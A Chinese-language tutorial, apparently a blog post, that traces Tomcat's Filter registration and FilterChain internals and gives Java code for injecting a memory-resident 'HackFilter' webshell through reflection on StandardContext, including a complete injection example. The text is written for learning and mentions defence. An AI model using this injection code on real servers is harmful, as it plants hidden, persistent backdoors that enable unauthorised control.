以初学者角度调试filter内存马
字数 1831 2025-08-04 00:46:02
Filter内存马调试与分析指南
1. Filter内存马概述
Filter内存马是一种通过动态注册Filter组件来实现持久化控制的技术手段。本文将从初学者角度,通过跟踪Filter注解的初始化流程和运行时调试,详细解析Filter的动态注册过程。
2. Filter注册的核心流程
Filter内存马注册主要涉及StandardContext对象的三个关键变量:
- filterDefs:存放每个Filter的定义信息
- filterMaps:存放每个Filter的URL映射
- filterConfigs:存放每个Filter的配置,用于构建FilterChain
3. Filter注解初始化分析
3.1 注解处理流程
-
使用
@WebFilter注解声明Filter:@WebFilter(filterName = "MyFilter", urlPatterns = "/*") -
注解处理入口方法:
org.apache.catalina.startup.ContextConfig#processAnnotationWebFilter -
主要处理对象:
- FilterDef:设置Filter名称和类路径
- FilterMap:设置Filter名称、URL映射和Dispatcher方式
-
最终存储位置:
- FilterDef和FilterMap会被存入webXml对象
- 通过
configureContext方法解析webXml对象中的数据
3.2 关键存储位置
StandardContext#addFilterDef:将FilterDef存入filterDefs数组StandardContext#addFilterMap:将FilterMap存入filterMaps数组
4. Filter运行时调试分析
4.1 Filter调用栈
- 调用起点:
org.apache.catalina.core.StandardWrapperValve#invoke - 核心对象:
ApplicationFilterChain类型的filterChain - 关键方法调用:
filterChain.doFilter()internalDoFilter()
4.2 FilterChain创建过程
-
创建方法:
ApplicationFilterFactory#createFilterChain -
创建流程:
- 遍历StandardContext中的filterMaps
- 匹配URL映射与请求路径
- 从StandardContext中查询对应Filter的FilterConfig对象
- 将FilterConfig添加到FilterChain的filters变量中
-
FilterConfig初始化:
- 方法:
StandardContext#filterStart - 功能:将filterDefs转换为filterConfigs
- 方法:
4.3 Filter执行流程
- 获取FilterChain中的第一个FilterConfig对象
- 通过FilterConfig获取Filter对象
- 调用Filter的doFilter方法
- 如果Filter中调用chain.doFilter(),则重复上述过程
5. 动态注册Filter的实现
5.1 获取StandardContext对象
ServletContext requestServletContext = request.getServletContext();
ApplicationContext applicationContext = (ApplicationContext) getFieldValue(requestServletContext, "context");
StandardContext standardContext = (StandardContext) getFieldValue(applicationContext, "context");
5.2 注册FilterDef的方法
方法一:使用addFilterDef函数
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new HackFilter());
filterDef.setFilterClass(HackFilter.class.getName());
filterDef.setFilterName(name);
standardContext.addFilterDef(filterDef);
方法二:直接操作filterDefs变量
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new HackFilter());
filterDef.setFilterClass(HackFilter.class.getName());
filterDef.setFilterName(name);
Map<String, FilterDef> filterDefs = (Map<String, FilterDef>) getFieldValue(standardContext, "filterDefs");
filterDefs.put(filterDef.getFilterName(), filterDef);
5.3 注册FilterMap的方法
方法一:使用addFilterMap函数
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.setDispatcher("REQUEST");
filterMap.addURLPattern("/*");
standardContext.addFilterMap(filterMap);
// 或使用addFilterMapBefore提高优先级
standardContext.addFilterMapBefore(filterMap);
方法二:使用ApplicationFilterRegistration
ApplicationFilterRegistration applicationFilterRegistration =
new ApplicationFilterRegistration(filterDef, standardContext);
applicationFilterRegistration.addMappingForUrlPatterns(
EnumSet.of(DispatcherType.REQUEST), false, new String[]{"/*"});
方法三:反射操作filterMaps
Class<?> aClass = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
Object filterMaps = getFieldValue(standardContext, "filterMaps");
Method addBefore = aClass.getMethod("addBefore", new Class[]{FilterMap.class});
addBefore.invoke(filterMaps, new Object[]{filterMap});
方法四:直接操作filterMaps内部变量
Object filterMaps = getFieldValue(standardContext, "filterMaps");
FilterMap[] array = (FilterMap[]) getFieldValue(filterMaps, "array");
Integer insertPoint = (Integer) getFieldValue(filterMaps, "insertPoint");
// 创建新数组并插入filterMap
5.4 注册FilterConfig的方法
方法一:使用filterStart方法
standardContext.filterStart();
方法二:直接操作filterConfigs
Map<String, ApplicationFilterConfig> filterConfigs =
(Map<String, ApplicationFilterConfig>) getFieldValue(standardContext, "filterConfigs");
Constructor<?> constructor = ApplicationFilterConfig.class
.getDeclaredConstructor(Context.class, FilterDef.class);
ApplicationFilterConfig config = (ApplicationFilterConfig) constructor
.newInstance(standardContext, filterDef);
filterConfigs.put(name, config);
6. 完整示例代码
protected void service(HttpServletRequest request, HttpServletResponse resp) throws ServletException, IOException {
String name = "simpleFilter";
try {
// 获取standardContext对象
ServletContext requestServletContext = request.getServletContext();
ApplicationContext applicationContext = (ApplicationContext) getFieldValue(requestServletContext, "context");
StandardContext standardContext = (StandardContext) getFieldValue(applicationContext, "context");
// 注册FilterDefs
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new HackFilter());
filterDef.setFilterClass(HackFilter.class.getName());
filterDef.setFilterName(name);
standardContext.addFilterDef(filterDef);
// 注册FilterMaps
ApplicationFilterRegistration applicationFilterRegistration =
new ApplicationFilterRegistration(filterDef, standardContext);
applicationFilterRegistration.addMappingForUrlPatterns(
EnumSet.of(DispatcherType.REQUEST), false, new String[]{"/*"});
// 注册FilterConfigs
standardContext.filterStart();
} catch (Exception e) {
e.printStackTrace();
}
}
7. 总结
- Filter内存马的核心是通过操作StandardContext的三个关键变量实现动态注册
- 完整的注册流程需要依次处理FilterDef、FilterMap和FilterConfig
- 可以通过多种方式实现变量操作,包括直接调用API和反射操作
- FilterChain的创建和调用过程决定了Filter的执行顺序
- 实际应用中需要注意Filter的优先级和URL匹配规则
通过深入理解Filter的初始化流程和运行时机制,可以更灵活地实现Filter内存马,同时也为防御此类攻击提供了理论基础。